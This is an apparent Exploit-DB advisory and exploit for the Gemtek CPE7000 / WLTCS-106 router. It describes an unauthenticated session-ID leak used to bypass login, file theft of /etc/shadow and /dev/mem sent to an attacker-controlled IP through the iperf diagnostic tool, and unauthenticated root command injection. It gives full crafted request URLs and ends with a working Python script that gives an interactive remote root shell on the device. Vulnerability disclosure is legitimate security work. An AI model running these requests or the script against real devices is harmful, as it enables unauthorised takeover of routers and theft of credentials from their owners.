Gemtek CPE7000 / WLTCS-106 – Multiple Vulnerabilities

  • 作者: Federico Ramondino
    日期: 2016-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39716/
  • #!/usr/bin/python
    
    '''
    # Exploit Title: Gemtek CPE7000 / WLTCS-106 multiple vulnerabilities
    # Date: 04/06/2016
    # Exploit Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
    # Vendor Homepage: gemtek.com.tw
    # Version: Firmware Version 01.01.02.082
    # Tested on: 
    # Product Name : CPE7000
    # Model ID : WLTCS-106
    # Hardware Version : V02A
    # Firmware Version : 01.01.02.082
    
    1) SID leak / auth bypass
    The sysconfg cgi application leaks a valid "SID" (session id) when the
    following unauthenticated request is made:
    Request: GET /cgi-bin/sysconf.cgi?page=ajax.asp&action=login_confirm HTTP/1.1
    
    The response body has the form: <checkcode>,<sid>
    Example resp: RJIi,BtsS2OdhcVSbviDC5iMa1MKeo9rbrgdQ
    
    The sid thus obtained can be used to "unlock" the cliend-side administration
    interface and/or to directly issue request that are usually restricted to
    administrative accounts.
    
    POCs: 
    
    I) Unauthenticated remote reboot:
    Request:
    /cgi-bin/sysconf.cgi?page=ajax_check.asp&action=reboot&reason=1&sid=<SID>
    
    II) Web admin interface access. Add a new cookie with the following values: 
    userlevel=2
    sid=<sid>
    
    --------------------------------------------------------------------------------
    
    2) Arbitrary file download - with root privileges - via iperf tool
    One of the diagnostic tools available on the device can be used to read an
    arbitrary file on the device. The sysconfg cgi application fails to sanitize
    user input, allowing an attacker to hijack the command issued to the "iperf"
    binary, a commonly-used network testing tool that can create TCP and UDP data
    streams and measure the throughput of a network that is carrying them.
    
    The client-side validation can be easily bypassed by changing the javascript
    validation code, or by directly sending a forged request to the server.
    The iperf tool is run with the -c switch, meaning that it is behaving as a
    client that sends data to a server. By adding the -F parameter, iperf is forced
    to read data from a file instead of generating random data to be sent during the
    measurement.
    
    This attack needs 2 step in order to take advantage of the vulnerability.
    The first request sets up the command be to run, the second one (a.k.a. toggle)
    actually runs the command (check the response body, 1 means running, 0 means stopped).
    
    The following "SETUP" request can be used to set the correct parameters:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
    p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
    test_time=ZZ&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&
    perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20 <URLENCODED PATH TO
    FILE>
    
    Parameters breakdown:
    XXX.XXX.XXX.XXX = attacker ip
    YYYY = attacker listening port
    zz = time limit
    Note: nc is enough to capture data, which may be sent with some additional
    header and footer introduced by iperf's protocol
    
    In order to run iperf, the following "TOGGLE" (run/stop) request must be sent:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
    
    
    POCs:
    I) download of /etc/shadow
    SETUP REQUEST:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
    p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
    test_time=30&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&p
    erf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fetc%2fshadow
    
    RUN/STOP(Toggle) REQUEST:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
    
    
    II) download of device physical memory (/dev/mem) with increased perf_measure_test_time:
    SETUP REQUEST:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
    p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
    test_time=6000&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024
    &perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fdev%2fmem
    
    RUN/STOP(Toggle) REQUEST:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
    
    --------------------------------------------------------------------------------
    
    3) Unauthenticated remote root command execution
    The same vulnerability can be used to issue an arbitrary command on the device.
    The command executed on the system to run the diagnostic tool is constructed
    using the sprintf function and the following format string, with no additional
    checks:
    
    iperf -c "%s" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &
    
    It is therefore possible to insert another command by injecting it in the 
    "perf_measure_server_ip" parameter and commenting out the rest of the original
    command.
    
    To concatenate a command, the string in the first half before the injection
    point ( iperf -c " ) must be correctly closed with quotes ( " ).
    Then the new command can be added, preceded by a semicolon ( ; ).
    Finally, the other part of the original command after the "injection point"
    must be commented out ( # ).
    
    iperf -c ""; <NEWCMD> #" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &
    
    
    SETUP REQUEST:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
    p=%22%3b%20<COMMAND_HERE>%20%23&perf_measure_server_port=5555&perf_measure_cpe_p
    ort=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_pac
    ket_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1
    
    RUN/STOP(Toggle) REQUEST:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
    
    
    POC (echo test > /www/test):
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
    p=%22%3b%20echo%20test%20%3E%20%2fwww%2ftest%20%23&perf_measure_server_port=5555
    &perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type
    =1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_
    client_num=1
    
    and toggle:
    /cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
    
    --------------------------------------------------------------------------------
    
    Remediation:
    Disable wan access to the management web interface until an updated firmware is released.
    
    More information and a detailed how-to is available at: http://www.mentat.is/docs/cpe7000-multiple-vulns.html
    '''
    
    #Gemtek CPE7000 / WLTCS-106 remote root command execution
    #Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
    # Tested on: 
    # 		Product Name : 	CPE7000
    #		Model ID : 	WLTCS-106
    #		Hardware Version : 	V02A
    #		Firmware Version : 	01.01.02.082
    
    import httplib
    import ssl
    import urllib
    import time
    import sys
    import getopt
    import socket
    
    ssl._create_default_https_context = ssl._create_unverified_context
    
    host=''
    port = 443
    
    def check():
    	try:
    	conn = httplib.HTTPSConnection(host +":"+str(port), timeout=10)
    	conn.request("GET", "/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1")
    	r1 = conn.getresponse()
    	if r1.status != 200:
    			return False
    	return True
    	except socket.error as msg:
    		print "Cannot connect";
    		sys.exit();
    
    
    def sendcmd( cmd ):
    	resource = '"; ' + cmd + ' &> /www/cmdoutput.txt #'
    	urlencoded = urllib.quote_plus(resource)
    	cmdresource = "/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_ip=" +urlencoded + "&perf_measure_server_port=5555&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1"
    	res = makereq (cmdresource)
    	res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
    	if(res!="1"):
    		res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
    	time.sleep(1)
    	res = makereq ("/cmdoutput.txt")
    	print res
    
    
    def makereq (resource):
    	conn = httplib.HTTPSConnection(host +":"+str(port))
    	conn.request("GET", resource)
    	r1 = conn.getresponse()
    	body = r1.read()
    	return body
    
    
    if len(sys.argv) < 2:
    	print 'GemtekShell.py <host> [<port> (443)]'
    	exit()
    elif len(sys.argv) > 2:
    	port = sys.argv[2]
    
    host = sys.argv[1]
    
    print 'Connecting to ', host, port
    
    if not check() :
    	print "Host seems not vulnerable"
    	sys.exit()
    
    
    while(1):
    	cmd = raw_input("gemtekCMD> ")
    	if cmd.strip() != "quit" :
    		sendcmd(cmd)
    	else :
    		sys.exit()